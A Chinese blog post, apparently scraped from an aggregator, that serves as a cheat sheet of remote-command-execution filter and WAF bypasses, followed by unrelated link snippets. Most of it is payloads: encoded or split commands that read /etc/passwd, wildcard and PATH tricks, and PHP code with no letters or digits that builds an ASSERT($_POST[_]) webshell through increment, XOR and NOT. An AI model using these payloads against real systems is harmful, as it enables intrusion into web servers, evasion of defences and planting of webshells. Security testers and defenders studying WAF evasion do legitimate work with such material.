总结rce(远程代码执行各种sao姿势)绕过bypass

2023-05-16

空格绕过:

在bash下可以用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab),这儿跟sql注入有点相似,用/**/注释也能绕过。

命令执行函数system()绕过(在URL请求中过滤system()函数)

系统命令函数system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号(·) 同shell_exec()用以上函数都可进行绕过。

命令连接符:

Windows和Linux都支持的命令连接符:

cmd1 | cmd2 只执行cmd2

cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行

cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2

cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

正则匹配绕过

1) 利用变量绕过

a=c;b=a;c=t;

$a$b$c /etc/passwd

2) 利用base编码绕过

echo 'cat' | base64

Y2F0wqAK

`echo 'Y2F0wqAK' | base64 -d` /etc/passwd

echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd 

3) 利用hex编码(十六进制)绕过

echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。

4) 利用oct编码(八进制)绕过

$(printf "\154\163")//ls命令

5)利用16进制编码绕过

"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

5) 利用拼接绕过

(sy.(st).em)(whoami);//

 c''a''t /etc/passwd//单引

c""a""t /etc/passwd//双引

c``a``t /etc/passwd/反单引

c\a\t /etc/passwd//反斜线

$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami

who$@ami

whoa$*mi

666`whoami`666 //bash: 666root666: command not found

666`\whoami`666 //bash: 666root666: command not found

//命令执行后的结果在2个666中间

插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/*A10ng_*/(whoami);

system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);

(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);

6) 利用未初始化变量

cat$u /etc/passwd

7) 利用未初始化变量,使用$u绕过

cat /etc$u/passwd

8)过滤了斜杠‘/’

可利用';'拼接命令绕过

cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd

1)

9)利用通配符绕过:

列如cat /passwd:

??? /e??/?a????

cat /e*/pa*

10)glob通配符

在glob里

[A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] ".)

[-%] ”代表“ [!”#$%] ”而“ [az] ”代表“任何 小写字母”

利用[@-[]来表示大写字母:

  1. [...]表示匹配方括号之中的任意一个字符

  2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

  3. {...}与[...]有一个重要的区别,当匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开

cat t[a-z]st

cat t{a,b,c,d,e,f}st

利用PATH绕过

可以通过截断和拼接来得到我们想要的来getshell

${PATH:5:1} //l

${PATH:2:1} //s

${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令

${PATH:5:1}s //拼接后是ls,执行命令

自增绕过:

'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

例如:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

异或绕过

def xor():
    for i in range(0,128):
        for j in range(0,128):
            result=i^j
            print(chr(i)+'  ^  '+chr(j)+' == >  '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
    xor()

先利用脚本将异或的组合列出来

然后将需要的命令拼接出来。

列如:phpinfo()

('GGGGGGG'^'7/7.)!(')();

 其中'G'^'7'=p,'G'^'/'=h…………依次类推拼出你想得到的命令。

在有时候,字母和输入全被过滤掉的时候,可以用不可打印字符来进行命令执行。可以稍微改一下上边的脚本,将字符url编码之后再输出,这时候就能绕过去了。

取反绕过

取反跟异或原理上差不多,唯一不同的是运算的逻辑不一样,当然这跟我们半毛钱关系都没有,我们也不需要手算,我就是纯属凑个字数。

这个非常简单,就是把命令先取反,然后在上传的时候,加一个取反符号‘~’,再在服务器上进行一次取反运算,

<?php
echo urlencode(~'phpinfo');
?>

得到取反的结果:%8F%97%8F%96%91%99%90

例如phpinfo()就是:

(~'%8F%97%8F%96%91%99%90')();

参考博客:

 https://man7.org/linux/man-pages/man7/glob.7.html

 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://cloud.tencent.com/developer/article/1599149

https://www.cnblogs.com/NPFS/p/13279815.html

https://blog.csdn.net/weixin_39877898/article/details/112198269

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

总结rce(远程代码执行各种sao姿势)绕过bypass 的相关文章

  • maskrcnn训练自己的数据集报错:ModuleNotFoundError: No module named ‘cityscapesscripts‘

    原因是需要安装cityscapesscripts xff0c 安装地址 xff1a https github com mcordts cityscapesScripts xff0c clone下来之后安装上面的说明进行install pyt
  • 选择排序详解

    选择排序详解 文章目录 选择排序详解1 选择排序算法详解1 药引子 我自己的排序方法2 命根子 选择排序的精髓3 选择排序图解4 总结 2 选择排序的代码详解 摘要 xff1a 选择排序算法是一种比较容易理解的排序算法 xff0c 记得我在
  • golang中日期操作之日期格式化及日期转换

    golang中并没有像java一样提供类似yyyy MM dd HH mm ss格式的操作 xff0c 而是将其定义为golang的诞生时间 xff1a 2006 01 02 15 04 05 0700 MST 注意这在golang的日期格
  • python4

    选择结构程序设计 通过Input xff08 xff09 函数任意输入三条边长 xff0c 经过简单的计算后 xff0c 判断三条边长能否构成三角形 xff0c 并确定是类型的三角形 xff0c 如 xff08 等边 xff0c 等腰 xf
  • python7

    如有问题请大佬指出 xff0c 撒花 1 创建SchoolMem类 xff0c 该类中包含三种属性 xff1a 姓名 性别 年龄以及针对每个属性的get和set方法 xff1b 2 创建Student类 xff0c 继承自SchoolMem
  • 啊哈-小哼买书

    1 桶排序解决 xff08 在网站中可以AC xff09 include lt cstdio gt include lt iostream gt using namespace std int main int a 1001 n i t i
  • 周周复始 |python实现日历 遇到的错误

    错误总结 pip 问题使用oenpyxl的问题 pip 问题 安装或更新都会出现一下问题 xff1a ERROR Exception Traceback most recent call last 解决办法就是找个镜像 xff1a 推荐 x
  • ValueError: not enough values to unpack (expected 3, got 0)

    运行github上的大佬的代码 xff1a https github com YunYang1994 tensorflow yolov3 xff0c 在进行python train py的时候 ValueError not enough v
  • 迁移博客中

    本博客正在迁移到 xff1a 周周的苜蓿园
  • 粘贴代码规整漂亮的网站(可在word中规整

    可以生成比较好看的代码截图 xff1a https carbon now sh 可以在Word中粘贴出比较整齐的代码 xff1a http www planetb ca syntax highlight word 或者用Notepad 43

随机推荐

  • Ubuntu Server版安装Gnome图形桌面

    1 安装全部桌面环境 xff0c 其实Ubuntu系列桌面实际上有几种桌面应用程序 xff0c 包括Ubuntu desktop Kubunut desktop和Xubuntu desktop 我们就安装了Ubuntu desktop还有G
  • c++ sort函数cmp的有关情况(由浅入深)

    sort first last cmp sort默认是从小到大排序 xff0c 要改成从大到小排序则可修改cmp span class token keyword bool span span class token function cm
  • qemu-kvm中debian-11.3.0虚拟机 root密码忘记处理方法

    1 启动虚拟机 virsh start debian 11 3 0 2 连接虚拟机 xff0c 按 34 e 34 virsh console debian 11 3 0 3 移动光标在 34 linux boot vmlinuz 5 10
  • SQL语句练习题

    一 表结构 创建数据库 school 脚本 drop database school create database school 创建数据库 go CREATE DATABASE school ON NAME 61 school dat
  • Python+Tesseract-OCR实现图像中的文字识别

    开发环境 xff1a 运行平台 win10 编程语言 xff1a python IDE pycharm 三方库模块 xff1a pytessseract Tesseract OCR pytesseract库安装 xff1a 打开cmd xf
  • Ubuntu上网功能的配置

    虽然用了Ubuntu系统时间不短了 xff0c 但每次重装或者升级后都会出现无法上网的问题 xff0c 所以在此做下记录 xff0c 方便以后配置 xff0c 同时也希望能给不会配置的朋友一些帮助 网络配置流程 xff1a 前提准备工作 x
  • you-get使用命令

    安装 xff1a pip install you get you get支持的网站 xff1a 网站URL哔哩哔哩http www bilibili com 优酷http www youku com 腾讯视频http v qq com 爱奇
  • 【OpenVINO】 Windows10环境下载安装

    OpenVINO官方中文文档 xff1a OpenVINO 工具套件概述 OpenVINO 工具套件 https docs openvino ai cn latest index html OpenVINO下载地址 xff1a Downlo
  • 《计算机应用研究》投稿经历和时间节点

    记录四川计算机研究院 计算机应用研究 期刊投稿经历和时间节点 日期状态周期2022 11 09上传稿件当天显示编辑部已接收稿件 xff0c 开始初审2022 11 09 2022 11 15初审6天2022 11 15 2022 12 21
  • 项目管理工具:GitHub,GitLab,Azure DevOps,Gitea版本控制系统

    1 版本控制系统是什么 xff1f 版本控制系统是一种记录一个或若干文件内容变化 xff0c 方便查阅特定版本修订情况的系统 2 为什么要用版本控制系统 xff1f 工作上 xff0c 当你处理一个共享文件夹的时候 xff0c 必须告知办公
  • Linux Debian安装或管理多个Python版本

    在Debian安装或管理多个Python版本 2021 05 13 19 04 55 43 08 字数 xff1a 4772 标签 xff1a Linux Python Ubuntu 20 04的Python默认版本是3 8 xff0c 符
  • Fl Studio20切换中文教程汉化补丁包

    FL studio 简称FL xff0c 全称 Fruity Loops Studio xff0c 因此国人习惯叫它 34 水果 34 目前最新版本是FL studio20 xff0c 它让你的计算机就像是全功能的录音室 xff0c 大混音
  • Promox VE(PVE)重启后GUI不能登录

    ssh能连接 xff0c 但是gui打不开 因为集群节点不正确移除 xff0c 留下配置信息 xff0c 启动后 xff0c 一直找集群的其它机器 ssh远程指令 xff1a pvecm expected 1 上面的命令是告诉系统 xff0
  • 虚拟机已经显示了已连接的图标但不能上网的解决办法+虚拟机显示网络连接激活失败

    虚拟机已经显示了已连接的图标但不能上网的解决办法 43 虚拟机显示网络连接激活失败 问题叙述解决办法 问题叙述 解决办法 1 https blog csdn net big rotor article details 70163858 用w
  • 【递归】CodeForces - 768B

    题意 xff1a 给定一个数N xff0c 对大于1 的数在原来的位置拆分为N 2 xff0c N 2 xff0c N 2 三个数 对拆分出的大于1 的数同样进行拆分 xff0c 直至所有的数均为0 或1 对拆分后的0 1 序列 xff0c
  • 1025. 除数博弈

    2020 7 24 LeetCode 题目描述 爱丽丝和鲍勃一起玩游戏 xff0c 他们轮流行动 爱丽丝先手开局 最初 xff0c 黑板上有一个数字 N 在每个玩家的回合 xff0c 玩家需要执行以下操作 xff1a 选出任一 x xff0
  • VMware安装Arch Linux

    目录 一 新建虚拟机二 安装系统1 下载镜像2 将镜像文件导入空白虚拟机中3 查看启动模式4 查看网络5 查看系统时间6 分区6 1 查看磁盘信息6 2 进入图形化分区工具进行分区6 3 格式化分区6 4 挂载分区 7 修改镜像源8 安装l
  • HDU 1880 魔咒词典(Hash+二分)

    题目链接 哈利波特在魔法学校的必修课之一就是学习魔咒 据说魔法世界有100000种不同的魔咒 xff0c 哈利很难全部记住 xff0c 但是为了对抗强敌 xff0c 他必须在危急时刻能够调用任何一个需要的魔咒 xff0c 所以他需要你的帮助
  • Python「pytesseract」:中文识别模块

    在处理 ttf 文件时 xff0c 遇到了识别图片中中文的情况 xff0c 常见的方式是调用百度的语言识别接口 xff0c 但是这里为了大批量的识别 xff0c 首先试了试 python 自带的语言识别模块 pytesseract xff0
  • 总结rce(远程代码执行各种sao姿势)绕过bypass

    空格绕过 xff1a 在bash下可以用 IFS IFS IFS 9 09 lt gt lt gt xff08 例如 cat etc passwd xff09 20 space 09 tab xff0c 这儿跟sql注入有点相似 xff0c